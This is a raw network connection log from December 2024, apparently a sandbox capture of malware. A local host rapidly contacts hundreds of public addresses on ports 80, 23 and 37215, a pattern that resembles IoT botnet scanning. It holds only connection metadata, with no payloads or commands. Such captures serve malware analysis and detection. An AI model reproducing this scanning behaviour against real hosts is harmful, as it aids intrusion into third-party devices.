Dec 3, 2024 21:47:24.270380020 CET	39419	80	192.168.2.13	154.31.65.159
Dec 3, 2024 21:47:24.270387888 CET	39419	80	192.168.2.13	185.142.58.43
Dec 3, 2024 21:47:24.270392895 CET	39419	80	192.168.2.13	1.53.111.230
Dec 3, 2024 21:47:24.270396948 CET	39419	80	192.168.2.13	66.66.62.210
Dec 3, 2024 21:47:24.270396948 CET	39419	80	192.168.2.13	193.20.51.22
Dec 3, 2024 21:47:24.270417929 CET	39419	80	192.168.2.13	78.131.186.238
Dec 3, 2024 21:47:24.270418882 CET	39419	80	192.168.2.13	155.86.221.191
Dec 3, 2024 21:47:24.270425081 CET	39419	80	192.168.2.13	68.232.12.39
Dec 3, 2024 21:47:24.270433903 CET	39419	80	192.168.2.13	148.24.18.26
Dec 3, 2024 21:47:24.270437956 CET	39419	80	192.168.2.13	66.106.69.202
Dec 3, 2024 21:47:24.270440102 CET	39419	80	192.168.2.13	177.138.9.149
Dec 3, 2024 21:47:24.270442009 CET	39419	80	192.168.2.13	206.36.241.131
Dec 3, 2024 21:47:24.270457983 CET	39419	80	192.168.2.13	85.133.72.209
Dec 3, 2024 21:47:24.270457983 CET	39419	80	192.168.2.13	176.208.91.76
Dec 3, 2024 21:47:24.270473003 CET	39419	80	192.168.2.13	218.171.208.191
Dec 3, 2024 21:47:24.270478010 CET	39419	80	192.168.2.13	206.249.177.89
Dec 3, 2024 21:47:24.270478010 CET	39419	80	192.168.2.13	143.144.151.86
Dec 3, 2024 21:47:24.270481110 CET	39419	80	192.168.2.13	161.221.192.172
Dec 3, 2024 21:47:24.270483971 CET	39419	80	192.168.2.13	87.68.34.132
Dec 3, 2024 21:47:24.270497084 CET	39419	80	192.168.2.13	178.81.250.129
Dec 3, 2024 21:47:24.270523071 CET	39419	80	192.168.2.13	121.75.41.157
Dec 3, 2024 21:47:24.270523071 CET	39419	80	192.168.2.13	78.44.86.48
Dec 3, 2024 21:47:24.270528078 CET	39419	80	192.168.2.13	161.233.228.225
Dec 3, 2024 21:47:24.270529032 CET	39419	80	192.168.2.13	65.169.206.205
Dec 3, 2024 21:47:24.270529032 CET	39419	80	192.168.2.13	95.210.151.236
Dec 3, 2024 21:47:24.270539999 CET	39419	80	192.168.2.13	121.186.220.186
Dec 3, 2024 21:47:24.270545959 CET	39419	80	192.168.2.13	205.90.241.22
Dec 3, 2024 21:47:24.270545959 CET	56176	37215	192.168.2.13	41.84.2.171
Dec 3, 2024 21:47:24.270558119 CET	39419	80	192.168.2.13	147.13.21.60
Dec 3, 2024 21:47:24.270574093 CET	39419	80	192.168.2.13	119.196.251.26
Dec 3, 2024 21:47:24.270576954 CET	39419	80	192.168.2.13	32.149.34.216
Dec 3, 2024 21:47:24.270576954 CET	39419	80	192.168.2.13	93.6.159.254
Dec 3, 2024 21:47:24.270577908 CET	39419	80	192.168.2.13	19.112.190.200
Dec 3, 2024 21:47:24.270577908 CET	39419	80	192.168.2.13	111.178.154.57
Dec 3, 2024 21:47:24.270577908 CET	39419	80	192.168.2.13	39.82.26.35
Dec 3, 2024 21:47:24.270586014 CET	39419	80	192.168.2.13	2.103.68.15
Dec 3, 2024 21:47:24.270586967 CET	39419	80	192.168.2.13	177.192.12.11
Dec 3, 2024 21:47:24.270589113 CET	39419	80	192.168.2.13	164.225.29.194
Dec 3, 2024 21:47:24.270600080 CET	39419	80	192.168.2.13	13.88.51.135
Dec 3, 2024 21:47:24.270602942 CET	39419	80	192.168.2.13	105.56.204.82
Dec 3, 2024 21:47:24.270602942 CET	39419	80	192.168.2.13	41.0.172.219
Dec 3, 2024 21:47:24.270607948 CET	39419	80	192.168.2.13	61.8.90.89
Dec 3, 2024 21:47:24.270607948 CET	39419	80	192.168.2.13	184.65.235.115
Dec 3, 2024 21:47:24.270607948 CET	39419	80	192.168.2.13	200.32.208.50
Dec 3, 2024 21:47:24.270607948 CET	39419	80	192.168.2.13	187.38.157.111
Dec 3, 2024 21:47:24.270615101 CET	39419	80	192.168.2.13	124.90.60.86
Dec 3, 2024 21:47:24.270623922 CET	39419	80	192.168.2.13	94.155.234.62
Dec 3, 2024 21:47:24.270623922 CET	39419	80	192.168.2.13	135.227.213.249
Dec 3, 2024 21:47:24.270625114 CET	39419	80	192.168.2.13	1.199.17.241
Dec 3, 2024 21:47:24.270626068 CET	39419	80	192.168.2.13	171.87.94.108
Dec 3, 2024 21:47:24.270626068 CET	39419	80	192.168.2.13	132.103.230.152
Dec 3, 2024 21:47:24.270626068 CET	39419	80	192.168.2.13	48.181.169.252
Dec 3, 2024 21:47:24.270627975 CET	39419	80	192.168.2.13	149.179.236.65
Dec 3, 2024 21:47:24.270638943 CET	39419	80	192.168.2.13	111.130.93.80
Dec 3, 2024 21:47:24.270638943 CET	39419	80	192.168.2.13	138.157.7.185
Dec 3, 2024 21:47:24.270639896 CET	39419	80	192.168.2.13	17.40.53.144
Dec 3, 2024 21:47:24.270642042 CET	39419	80	192.168.2.13	97.161.77.79
Dec 3, 2024 21:47:24.270643950 CET	39419	80	192.168.2.13	164.6.98.23
Dec 3, 2024 21:47:24.270643950 CET	39419	80	192.168.2.13	63.120.96.90
Dec 3, 2024 21:47:24.270651102 CET	39419	80	192.168.2.13	118.252.128.129
Dec 3, 2024 21:47:24.270651102 CET	39419	80	192.168.2.13	129.131.190.222
Dec 3, 2024 21:47:24.270652056 CET	39419	80	192.168.2.13	176.173.96.104
Dec 3, 2024 21:47:24.270662069 CET	39419	80	192.168.2.13	191.85.102.242
Dec 3, 2024 21:47:24.270662069 CET	39419	80	192.168.2.13	38.146.238.247
Dec 3, 2024 21:47:24.270669937 CET	39419	80	192.168.2.13	171.115.252.233
Dec 3, 2024 21:47:24.270669937 CET	39419	80	192.168.2.13	102.57.188.132
Dec 3, 2024 21:47:24.270669937 CET	39419	80	192.168.2.13	4.155.124.1
Dec 3, 2024 21:47:24.270669937 CET	39419	80	192.168.2.13	53.18.67.33
Dec 3, 2024 21:47:24.270669937 CET	39419	80	192.168.2.13	73.174.15.167
Dec 3, 2024 21:47:24.270672083 CET	39419	80	192.168.2.13	8.161.147.174
Dec 3, 2024 21:47:24.270672083 CET	39419	80	192.168.2.13	100.201.118.111
Dec 3, 2024 21:47:24.270680904 CET	39419	80	192.168.2.13	83.162.48.130
Dec 3, 2024 21:47:24.270680904 CET	39419	80	192.168.2.13	92.111.0.135
Dec 3, 2024 21:47:24.270680904 CET	39419	80	192.168.2.13	140.226.17.245
Dec 3, 2024 21:47:24.270685911 CET	39419	80	192.168.2.13	113.42.66.117
Dec 3, 2024 21:47:24.270687103 CET	39419	80	192.168.2.13	121.159.117.83
Dec 3, 2024 21:47:24.270697117 CET	39419	80	192.168.2.13	81.111.208.84
Dec 3, 2024 21:47:24.270699024 CET	39419	80	192.168.2.13	145.50.150.215
Dec 3, 2024 21:47:24.270699024 CET	39419	80	192.168.2.13	207.249.150.54
Dec 3, 2024 21:47:24.270708084 CET	39419	80	192.168.2.13	57.74.162.188
Dec 3, 2024 21:47:24.270709991 CET	39419	80	192.168.2.13	154.39.68.61
Dec 3, 2024 21:47:24.270695925 CET	39419	80	192.168.2.13	148.218.65.178
Dec 3, 2024 21:47:24.270710945 CET	39419	80	192.168.2.13	49.121.87.63
Dec 3, 2024 21:47:24.270710945 CET	39419	80	192.168.2.13	160.206.109.134
Dec 3, 2024 21:47:24.270713091 CET	39419	80	192.168.2.13	191.166.226.187
Dec 3, 2024 21:47:24.270721912 CET	39419	80	192.168.2.13	124.64.107.245
Dec 3, 2024 21:47:24.270721912 CET	39419	80	192.168.2.13	200.212.95.189
Dec 3, 2024 21:47:24.270721912 CET	39419	80	192.168.2.13	102.0.227.81
Dec 3, 2024 21:47:24.270730972 CET	39419	80	192.168.2.13	36.83.97.205
Dec 3, 2024 21:47:24.270730972 CET	39419	80	192.168.2.13	160.2.12.56
Dec 3, 2024 21:47:24.270731926 CET	39419	80	192.168.2.13	220.67.148.194
Dec 3, 2024 21:47:24.270731926 CET	39419	80	192.168.2.13	134.195.62.46
Dec 3, 2024 21:47:24.270731926 CET	39419	80	192.168.2.13	48.46.3.52
Dec 3, 2024 21:47:24.270736933 CET	39419	80	192.168.2.13	128.158.178.49
Dec 3, 2024 21:47:24.270736933 CET	39419	80	192.168.2.13	57.172.120.40
Dec 3, 2024 21:47:24.270736933 CET	39419	80	192.168.2.13	4.213.146.141
Dec 3, 2024 21:47:24.270736933 CET	39419	80	192.168.2.13	89.55.21.190
Dec 3, 2024 21:47:24.270745039 CET	39419	80	192.168.2.13	118.21.245.138
Dec 3, 2024 21:47:24.270745039 CET	39419	80	192.168.2.13	78.12.18.43
Dec 3, 2024 21:47:24.270745039 CET	39419	80	192.168.2.13	132.32.56.97
Dec 3, 2024 21:47:24.270745993 CET	39419	80	192.168.2.13	202.138.112.31
Dec 3, 2024 21:47:24.270750999 CET	39419	80	192.168.2.13	192.161.80.219
Dec 3, 2024 21:47:24.270752907 CET	39419	80	192.168.2.13	187.149.3.132
Dec 3, 2024 21:47:24.270752907 CET	39419	80	192.168.2.13	72.175.23.222
Dec 3, 2024 21:47:24.270767927 CET	39419	80	192.168.2.13	61.215.130.91
Dec 3, 2024 21:47:24.270767927 CET	39419	80	192.168.2.13	129.133.205.184
Dec 3, 2024 21:47:24.270770073 CET	39419	80	192.168.2.13	86.118.126.189
Dec 3, 2024 21:47:24.270771980 CET	39419	80	192.168.2.13	195.252.175.243
Dec 3, 2024 21:47:24.270771980 CET	39419	80	192.168.2.13	143.67.176.58
Dec 3, 2024 21:47:24.270771980 CET	39419	80	192.168.2.13	115.143.55.73
Dec 3, 2024 21:47:24.270771980 CET	39419	80	192.168.2.13	132.220.105.63
Dec 3, 2024 21:47:24.270773888 CET	39419	80	192.168.2.13	85.31.129.175
Dec 3, 2024 21:47:24.270773888 CET	39419	80	192.168.2.13	119.4.29.150
Dec 3, 2024 21:47:24.270787954 CET	39419	80	192.168.2.13	34.239.124.199
Dec 3, 2024 21:47:24.270787954 CET	39419	80	192.168.2.13	191.128.191.194
Dec 3, 2024 21:47:24.270787954 CET	39419	80	192.168.2.13	93.37.87.241
Dec 3, 2024 21:47:24.270787954 CET	39419	80	192.168.2.13	105.42.250.45
Dec 3, 2024 21:47:24.270797968 CET	39419	80	192.168.2.13	60.162.211.191
Dec 3, 2024 21:47:24.270797968 CET	39419	80	192.168.2.13	173.121.23.165
Dec 3, 2024 21:47:24.270800114 CET	39419	80	192.168.2.13	141.191.74.167
Dec 3, 2024 21:47:24.270802975 CET	39419	80	192.168.2.13	133.26.41.141
Dec 3, 2024 21:47:24.270800114 CET	39419	80	192.168.2.13	96.83.51.249
Dec 3, 2024 21:47:24.270800114 CET	39419	80	192.168.2.13	128.145.55.171
Dec 3, 2024 21:47:24.270800114 CET	39419	80	192.168.2.13	165.168.219.253
Dec 3, 2024 21:47:24.270806074 CET	39419	80	192.168.2.13	199.69.13.48
Dec 3, 2024 21:47:24.270806074 CET	39419	80	192.168.2.13	213.61.42.8
Dec 3, 2024 21:47:24.270808935 CET	39419	80	192.168.2.13	182.141.220.52
Dec 3, 2024 21:47:24.270812988 CET	39419	80	192.168.2.13	32.234.108.197
Dec 3, 2024 21:47:24.271481991 CET	58536	80	192.168.2.13	107.213.65.9
Dec 3, 2024 21:47:24.271559954 CET	34918	37215	192.168.2.13	156.18.66.100
Dec 3, 2024 21:47:24.272521973 CET	44752	80	192.168.2.13	126.129.144.5
Dec 3, 2024 21:47:24.273097992 CET	54424	80	192.168.2.13	62.250.47.221
Dec 3, 2024 21:47:24.273699045 CET	41174	80	192.168.2.13	12.24.147.177
Dec 3, 2024 21:47:24.274266005 CET	36810	80	192.168.2.13	72.97.142.213
Dec 3, 2024 21:47:24.274880886 CET	39226	80	192.168.2.13	190.171.181.209
Dec 3, 2024 21:47:24.274894953 CET	39226	80	192.168.2.13	190.171.181.209
Dec 3, 2024 21:47:24.275166988 CET	39974	80	192.168.2.13	190.171.181.209
Dec 3, 2024 21:47:24.275511026 CET	48124	80	192.168.2.13	173.99.172.238
Dec 3, 2024 21:47:24.275511026 CET	48124	80	192.168.2.13	173.99.172.238
Dec 3, 2024 21:47:24.275795937 CET	48870	80	192.168.2.13	173.99.172.238
Dec 3, 2024 21:47:24.276125908 CET	35812	80	192.168.2.13	216.217.165.253
Dec 3, 2024 21:47:24.276125908 CET	35812	80	192.168.2.13	216.217.165.253
Dec 3, 2024 21:47:24.276387930 CET	36550	80	192.168.2.13	216.217.165.253
Dec 3, 2024 21:47:24.276575089 CET	48204	23	192.168.2.13	223.52.63.81
Dec 3, 2024 21:47:24.276576996 CET	43400	23	192.168.2.13	85.41.192.208
Dec 3, 2024 21:47:24.276585102 CET	55396	23	192.168.2.13	73.202.143.112
Dec 3, 2024 21:47:24.276586056 CET	39584	23	192.168.2.13	111.202.25.61
Dec 3, 2024 21:47:24.276591063 CET	40568	23	192.168.2.13	165.31.93.83
Dec 3, 2024 21:47:24.276592016 CET	40680	23	192.168.2.13	95.30.90.130
Dec 3, 2024 21:47:24.276607037 CET	45726	23	192.168.2.13	58.10.32.234
Dec 3, 2024 21:47:24.276612997 CET	40756	23	192.168.2.13	13.88.44.44
Dec 3, 2024 21:47:24.276616096 CET	38842	23	192.168.2.13	76.222.202.100
Dec 3, 2024 21:47:24.276618004 CET	55832	23	192.168.2.13	120.97.109.249
Dec 3, 2024 21:47:24.276618958 CET	59762	23	192.168.2.13	121.175.166.141
Dec 3, 2024 21:47:24.276627064 CET	34050	23	192.168.2.13	189.138.25.130
Dec 3, 2024 21:47:24.276631117 CET	52654	23	192.168.2.13	100.193.176.188
Dec 3, 2024 21:47:24.276632071 CET	38058	23	192.168.2.13	42.224.59.35
Dec 3, 2024 21:47:24.276640892 CET	58078	23	192.168.2.13	102.57.90.23
Dec 3, 2024 21:47:24.276642084 CET	48786	23	192.168.2.13	111.202.32.216
Dec 3, 2024 21:47:24.276642084 CET	35080	23	192.168.2.13	164.49.1.105
Dec 3, 2024 21:47:24.276643038 CET	42514	23	192.168.2.13	107.5.91.234
Dec 3, 2024 21:47:24.276644945 CET	45238	23	192.168.2.13	202.57.148.50
Dec 3, 2024 21:47:24.276657104 CET	60976	23	192.168.2.13	137.135.19.123
Dec 3, 2024 21:47:24.276658058 CET	33648	23	192.168.2.13	207.107.124.204
Dec 3, 2024 21:47:24.276658058 CET	54616	23	192.168.2.13	185.195.98.112
Dec 3, 2024 21:47:24.276659966 CET	36798	23	192.168.2.13	85.109.68.206
Dec 3, 2024 21:47:24.276660919 CET	36322	23	192.168.2.13	129.154.32.145
Dec 3, 2024 21:47:24.276662111 CET	40520	23	192.168.2.13	163.93.63.211
Dec 3, 2024 21:47:24.276660919 CET	38854	23	192.168.2.13	92.116.202.160
Dec 3, 2024 21:47:24.276662111 CET	43674	23	192.168.2.13	79.237.116.3
Dec 3, 2024 21:47:24.276664019 CET	44316	80	192.168.2.13	142.167.56.115
Dec 3, 2024 21:47:24.276674032 CET	54606	80	192.168.2.13	35.0.167.105
Dec 3, 2024 21:47:24.276688099 CET	55966	80	192.168.2.13	178.105.162.15
Dec 3, 2024 21:47:24.276688099 CET	59360	80	192.168.2.13	69.221.73.107
Dec 3, 2024 21:47:24.276691914 CET	47202	23	192.168.2.13	128.70.76.96
Dec 3, 2024 21:47:24.276691914 CET	43378	80	192.168.2.13	184.143.71.127
Dec 3, 2024 21:47:24.276704073 CET	56634	80	192.168.2.13	163.59.147.119
Dec 3, 2024 21:47:24.276715994 CET	43100	80	192.168.2.13	65.90.231.250
Dec 3, 2024 21:47:24.276721954 CET	52186	80	192.168.2.13	151.157.22.5
Dec 3, 2024 21:47:24.276721001 CET	59948	80	192.168.2.13	47.178.80.185
Dec 3, 2024 21:47:24.276721954 CET	42686	80	192.168.2.13	197.167.120.154
Dec 3, 2024 21:47:24.276721001 CET	43186	80	192.168.2.13	24.14.163.27
Dec 3, 2024 21:47:24.276721001 CET	37530	80	192.168.2.13	181.219.122.89
Dec 3, 2024 21:47:24.276706934 CET	57808	80	192.168.2.13	220.130.200.122
Dec 3, 2024 21:47:24.276721954 CET	48326	80	192.168.2.13	2.200.64.79
Dec 3, 2024 21:47:24.276717901 CET	55266	80	192.168.2.13	223.48.224.222
Dec 3, 2024 21:47:24.276706934 CET	35596	80	192.168.2.13	19.243.62.109
Dec 3, 2024 21:47:24.276717901 CET	54656	80	192.168.2.13	124.54.243.93
Dec 3, 2024 21:47:24.276721001 CET	40588	80	192.168.2.13	76.50.32.51
Dec 3, 2024 21:47:24.276705980 CET	60954	80	192.168.2.13	20.159.32.197
Dec 3, 2024 21:47:24.276736021 CET	41782	80	192.168.2.13	107.254.35.29
Dec 3, 2024 21:47:24.276705980 CET	49006	80	192.168.2.13	197.92.52.48
Dec 3, 2024 21:47:24.276721001 CET	58456	80	192.168.2.13	192.143.143.100
Dec 3, 2024 21:47:24.276721001 CET	46590	80	192.168.2.13	12.208.187.26
Dec 3, 2024 21:47:24.276704073 CET	59288	80	192.168.2.13	184.155.31.210
Dec 3, 2024 21:47:24.276741982 CET	39070	80	192.168.2.13	187.217.91.15
Dec 3, 2024 21:47:24.276741982 CET	55366	80	192.168.2.13	132.216.212.60
Dec 3, 2024 21:47:24.276745081 CET	44696	80	192.168.2.13	5.219.151.0
Dec 3, 2024 21:47:24.276745081 CET	60670	80	192.168.2.13	170.41.22.77
Dec 3, 2024 21:47:24.276746035 CET	54950	80	192.168.2.13	192.43.101.232
Dec 3, 2024 21:47:24.276746988 CET	34674	80	192.168.2.13	118.20.80.18
Dec 3, 2024 21:47:24.276746988 CET	58978	80	192.168.2.13	209.160.126.77
Dec 3, 2024 21:47:24.276746988 CET	58214	80	192.168.2.13	52.115.245.92
Dec 3, 2024 21:47:24.276746988 CET	39378	80	192.168.2.13	104.7.94.67
Dec 3, 2024 21:47:24.276751995 CET	37838	80	192.168.2.13	179.9.125.56
Dec 3, 2024 21:47:24.276751995 CET	42292	80	192.168.2.13	2.28.8.216
Dec 3, 2024 21:47:24.276751995 CET	60396	80	192.168.2.13	186.84.218.11
Dec 3, 2024 21:47:24.276753902 CET	43156	80	192.168.2.13	2.241.114.145
Dec 3, 2024 21:47:24.276765108 CET	58700	80	192.168.2.13	135.126.180.121
Dec 3, 2024 21:47:24.276765108 CET	58136	80	192.168.2.13	180.134.245.219
Dec 3, 2024 21:47:24.276765108 CET	59592	80	192.168.2.13	203.182.231.103
Dec 3, 2024 21:47:24.276765108 CET	49102	80	192.168.2.13	158.83.114.212
Dec 3, 2024 21:47:24.284941912 CET	58940	37215	192.168.2.13	197.41.35.27
Dec 3, 2024 21:47:24.285455942 CET	60506	37215	192.168.2.13	41.193.68.101
Dec 3, 2024 21:47:24.285999060 CET	56054	37215	192.168.2.13	41.179.108.209
Dec 3, 2024 21:47:24.286519051 CET	36316	37215	192.168.2.13	41.170.21.145
Dec 3, 2024 21:47:24.287012100 CET	44560	37215	192.168.2.13	197.102.244.208
Dec 3, 2024 21:47:24.287540913 CET	41936	37215	192.168.2.13	197.233.207.19
Dec 3, 2024 21:47:24.288095951 CET	34238	37215	192.168.2.13	156.157.158.180
Dec 3, 2024 21:47:24.288125992 CET	34238	37215	192.168.2.13	156.157.158.180
Dec 3, 2024 21:47:24.288393974 CET	35028	37215	192.168.2.13	156.157.158.180
Dec 3, 2024 21:47:24.325261116 CET	23	40955	17.23.16.124	192.168.2.13
Dec 3, 2024 21:47:24.325292110 CET	23	40955	223.113.189.32	192.168.2.13
Dec 3, 2024 21:47:24.325314999 CET	23	40955	85.235.42.84	192.168.2.13
Dec 3, 2024 21:47:24.325329065 CET	23	40955	155.123.99.56	192.168.2.13
Dec 3, 2024 21:47:24.325341940 CET	23	40955	185.39.153.53	192.168.2.13
Dec 3, 2024 21:47:24.325354099 CET	23	40955	52.20.208.175	192.168.2.13
Dec 3, 2024 21:47:24.325396061 CET	40955	23	192.168.2.13	223.113.189.32
Dec 3, 2024 21:47:24.325396061 CET	40955	23	192.168.2.13	17.23.16.124
Dec 3, 2024 21:47:24.325412989 CET	40955	23	192.168.2.13	185.39.153.53
Dec 3, 2024 21:47:24.325416088 CET	40955	23	192.168.2.13	52.20.208.175
Dec 3, 2024 21:47:24.325422049 CET	40955	23	192.168.2.13	155.123.99.56
Dec 3, 2024 21:47:24.325422049 CET	40955	23	192.168.2.13	85.235.42.84
Dec 3, 2024 21:47:24.356842995 CET	37215	34043	156.227.126.0	192.168.2.13
Dec 3, 2024 21:47:24.356861115 CET	37215	34043	197.22.11.42	192.168.2.13
Dec 3, 2024 21:47:24.356878042 CET	37215	34043	197.66.173.200	192.168.2.13
Dec 3, 2024 21:47:24.356947899 CET	34043	37215	192.168.2.13	197.66.173.200
Dec 3, 2024 21:47:24.356954098 CET	34043	37215	192.168.2.13	156.227.126.0
Dec 3, 2024 21:47:24.356957912 CET	34043	37215	192.168.2.13	197.22.11.42
Dec 3, 2024 21:47:24.363996029 CET	37215	59828	197.89.191.125	192.168.2.13
Dec 3, 2024 21:47:24.364089966 CET	59828	37215	192.168.2.13	197.89.191.125
Dec 3, 2024 21:47:24.364658117 CET	59766	37215	192.168.2.13	156.227.126.0
Dec 3, 2024 21:47:24.365259886 CET	58916	37215	192.168.2.13	197.66.173.200
Dec 3, 2024 21:47:24.365904093 CET	34710	37215	192.168.2.13	197.22.11.42
Dec 3, 2024 21:47:24.366271973 CET	59828	37215	192.168.2.13	197.89.191.125
Dec 3, 2024 21:47:24.366285086 CET	59828	37215	192.168.2.13	197.89.191.125
Dec 3, 2024 21:47:24.366540909 CET	59970	37215	192.168.2.13	197.89.191.125
Dec 3, 2024 21:47:24.372621059 CET	55118	23	192.168.2.13	113.155.24.241
Dec 3, 2024 21:47:24.375626087 CET	37215	56148	41.151.149.109	192.168.2.13
Dec 3, 2024 21:47:24.375716925 CET	56148	37215	192.168.2.13	41.151.149.109
Dec 3, 2024 21:47:24.375757933 CET	56148	37215	192.168.2.13	41.151.149.109
Dec 3, 2024 21:47:24.375757933 CET	56148	37215	192.168.2.13	41.151.149.109
Dec 3, 2024 21:47:24.376055002 CET	56248	37215	192.168.2.13	41.151.149.109
Dec 3, 2024 21:47:24.383663893 CET	37215	46186	197.51.35.142	192.168.2.13
Dec 3, 2024 21:47:24.383723974 CET	46186	37215	192.168.2.13	197.51.35.142
Dec 3, 2024 21:47:24.383773088 CET	46186	37215	192.168.2.13	197.51.35.142
Dec 3, 2024 21:47:24.383785009 CET	46186	37215	192.168.2.13	197.51.35.142
Dec 3, 2024 21:47:24.384073019 CET	46256	37215	192.168.2.13	197.51.35.142
Dec 3, 2024 21:47:24.394803047 CET	80	39226	190.171.181.209	192.168.2.13
Dec 3, 2024 21:47:24.395493031 CET	80	48124	173.99.172.238	192.168.2.13
Dec 3, 2024 21:47:24.395684004 CET	80	48870	173.99.172.238	192.168.2.13
Dec 3, 2024 21:47:24.395767927 CET	48870	80	192.168.2.13	173.99.172.238
Dec 3, 2024 21:47:24.395891905 CET	48870	80	192.168.2.13	173.99.172.238
Dec 3, 2024 21:47:24.395957947 CET	80	35812	216.217.165.253	192.168.2.13
Dec 3, 2024 21:47:24.405150890 CET	37215	58940	197.41.35.27	192.168.2.13
Dec 3, 2024 21:47:24.405267000 CET	58940	37215	192.168.2.13	197.41.35.27
Dec 3, 2024 21:47:24.405309916 CET	58940	37215	192.168.2.13	197.41.35.27
Dec 3, 2024 21:47:24.405309916 CET	58940	37215	192.168.2.13	197.41.35.27
Dec 3, 2024 21:47:24.405663967 CET	58966	37215	192.168.2.13	197.41.35.27
Dec 3, 2024 21:47:24.408122063 CET	37215	34238	156.157.158.180	192.168.2.13
Dec 3, 2024 21:47:24.438514948 CET	80	48124	173.99.172.238	192.168.2.13
Dec 3, 2024 21:47:24.438544035 CET	80	39226	190.171.181.209	192.168.2.13
Dec 3, 2024 21:47:24.438558102 CET	80	35812	216.217.165.253	192.168.2.13
Dec 3, 2024 21:47:24.450645924 CET	37215	34238	156.157.158.180	192.168.2.13
Dec 3, 2024 21:47:24.485127926 CET	37215	59766	156.227.126.0	192.168.2.13
Dec 3, 2024 21:47:24.485271931 CET	59766	37215	192.168.2.13	156.227.126.0
Dec 3, 2024 21:47:24.485388994 CET	59766	37215	192.168.2.13	156.227.126.0
Dec 3, 2024 21:47:24.485404015 CET	59766	37215	192.168.2.13	156.227.126.0
Dec 3, 2024 21:47:24.485642910 CET	37215	58916	197.66.173.200	192.168.2.13
Dec 3, 2024 21:47:24.485688925 CET	58916	37215	192.168.2.13	197.66.173.200
Dec 3, 2024 21:47:24.485910892 CET	59780	37215	192.168.2.13	156.227.126.0
Dec 3, 2024 21:47:24.486285925 CET	37215	34710	197.22.11.42	192.168.2.13
Dec 3, 2024 21:47:24.486329079 CET	58916	37215	192.168.2.13	197.66.173.200
Dec 3, 2024 21:47:24.486335993 CET	34710	37215	192.168.2.13	197.22.11.42
Dec 3, 2024 21:47:24.486351013 CET	58916	37215	192.168.2.13	197.66.173.200
Dec 3, 2024 21:47:24.486593008 CET	58930	37215	192.168.2.13	197.66.173.200
Dec 3, 2024 21:47:24.486797094 CET	37215	59828	197.89.191.125	192.168.2.13
Dec 3, 2024 21:47:24.486975908 CET	34710	37215	192.168.2.13	197.22.11.42
Dec 3, 2024 21:47:24.486975908 CET	34710	37215	192.168.2.13	197.22.11.42
Dec 3, 2024 21:47:24.487224102 CET	34724	37215	192.168.2.13	197.22.11.42
Dec 3, 2024 21:47:24.487370968 CET	37215	59970	197.89.191.125	192.168.2.13
Dec 3, 2024 21:47:24.487416029 CET	59970	37215	192.168.2.13	197.89.191.125
Dec 3, 2024 21:47:24.487602949 CET	59970	37215	192.168.2.13	197.89.191.125
Dec 3, 2024 21:47:24.492940903 CET	23	55118	113.155.24.241	192.168.2.13
Dec 3, 2024 21:47:24.493005991 CET	55118	23	192.168.2.13	113.155.24.241
Dec 3, 2024 21:47:24.496134043 CET	37215	56148	41.151.149.109	192.168.2.13
Dec 3, 2024 21:47:24.496149063 CET	37215	56248	41.151.149.109	192.168.2.13
Dec 3, 2024 21:47:24.496202946 CET	56248	37215	192.168.2.13	41.151.149.109
Dec 3, 2024 21:47:24.496222019 CET	56248	37215	192.168.2.13	41.151.149.109
Dec 3, 2024 21:47:24.503808975 CET	37215	46186	197.51.35.142	192.168.2.13
Dec 3, 2024 21:47:24.503985882 CET	37215	46256	197.51.35.142	192.168.2.13
Dec 3, 2024 21:47:24.504084110 CET	46256	37215	192.168.2.13	197.51.35.142
Dec 3, 2024 21:47:24.504084110 CET	46256	37215	192.168.2.13	197.51.35.142
Dec 3, 2024 21:47:24.516063929 CET	80	48870	173.99.172.238	192.168.2.13
Dec 3, 2024 21:47:24.516138077 CET	48870	80	192.168.2.13	173.99.172.238
Dec 3, 2024 21:47:24.525263071 CET	37215	58940	197.41.35.27	192.168.2.13
Dec 3, 2024 21:47:24.525531054 CET	37215	58966	197.41.35.27	192.168.2.13
Dec 3, 2024 21:47:24.525585890 CET	58966	37215	192.168.2.13	197.41.35.27
Dec 3, 2024 21:47:24.525660038 CET	58966	37215	192.168.2.13	197.41.35.27
Dec 3, 2024 21:47:24.530458927 CET	37215	59828	197.89.191.125	192.168.2.13
Dec 3, 2024 21:47:24.538384914 CET	37215	56148	41.151.149.109	192.168.2.13
Dec 3, 2024 21:47:24.546489000 CET	37215	46186	197.51.35.142	192.168.2.13
Dec 3, 2024 21:47:24.566531897 CET	37215	58940	197.41.35.27	192.168.2.13
Dec 3, 2024 21:47:24.605434895 CET	37215	59766	156.227.126.0	192.168.2.13
Dec 3, 2024 21:47:24.605856895 CET	37215	59780	156.227.126.0	192.168.2.13
Dec 3, 2024 21:47:24.605967999 CET	59780	37215	192.168.2.13	156.227.126.0
Dec 3, 2024 21:47:24.606138945 CET	59780	37215	192.168.2.13	156.227.126.0
Dec 3, 2024 21:47:24.606220961 CET	37215	58916	197.66.173.200	192.168.2.13
Dec 3, 2024 21:47:24.606589079 CET	37215	58930	197.66.173.200	192.168.2.13
Dec 3, 2024 21:47:24.606648922 CET	58930	37215	192.168.2.13	197.66.173.200
Dec 3, 2024 21:47:24.606683016 CET	58930	37215	192.168.2.13	197.66.173.200
Dec 3, 2024 21:47:24.607050896 CET	37215	34710	197.22.11.42	192.168.2.13
Dec 3, 2024 21:47:24.607105017 CET	37215	34724	197.22.11.42	192.168.2.13
Dec 3, 2024 21:47:24.607161999 CET	34724	37215	192.168.2.13	197.22.11.42
Dec 3, 2024 21:47:24.607173920 CET	34724	37215	192.168.2.13	197.22.11.42
Dec 3, 2024 21:47:24.607595921 CET	37215	59970	197.89.191.125	192.168.2.13
Dec 3, 2024 21:47:24.607640982 CET	59970	37215	192.168.2.13	197.89.191.125
Dec 3, 2024 21:47:24.618473053 CET	37215	56248	41.151.149.109	192.168.2.13
Dec 3, 2024 21:47:24.625078917 CET	37215	56248	41.151.149.109	192.168.2.13
Dec 3, 2024 21:47:24.625153065 CET	56248	37215	192.168.2.13	41.151.149.109
Dec 3, 2024 21:47:24.625226974 CET	37215	46256	197.51.35.142	192.168.2.13
Dec 3, 2024 21:47:24.625273943 CET	46256	37215	192.168.2.13	197.51.35.142
Dec 3, 2024 21:47:24.646425962 CET	37215	58916	197.66.173.200	192.168.2.13
Dec 3, 2024 21:47:24.646461964 CET	37215	59766	156.227.126.0	192.168.2.13
Dec 3, 2024 21:47:24.647321939 CET	37215	58966	197.41.35.27	192.168.2.13
Dec 3, 2024 21:47:24.647402048 CET	58966	37215	192.168.2.13	197.41.35.27
Dec 3, 2024 21:47:24.650418997 CET	37215	34710	197.22.11.42	192.168.2.13
Dec 3, 2024 21:47:24.726495028 CET	37215	59780	156.227.126.0	192.168.2.13
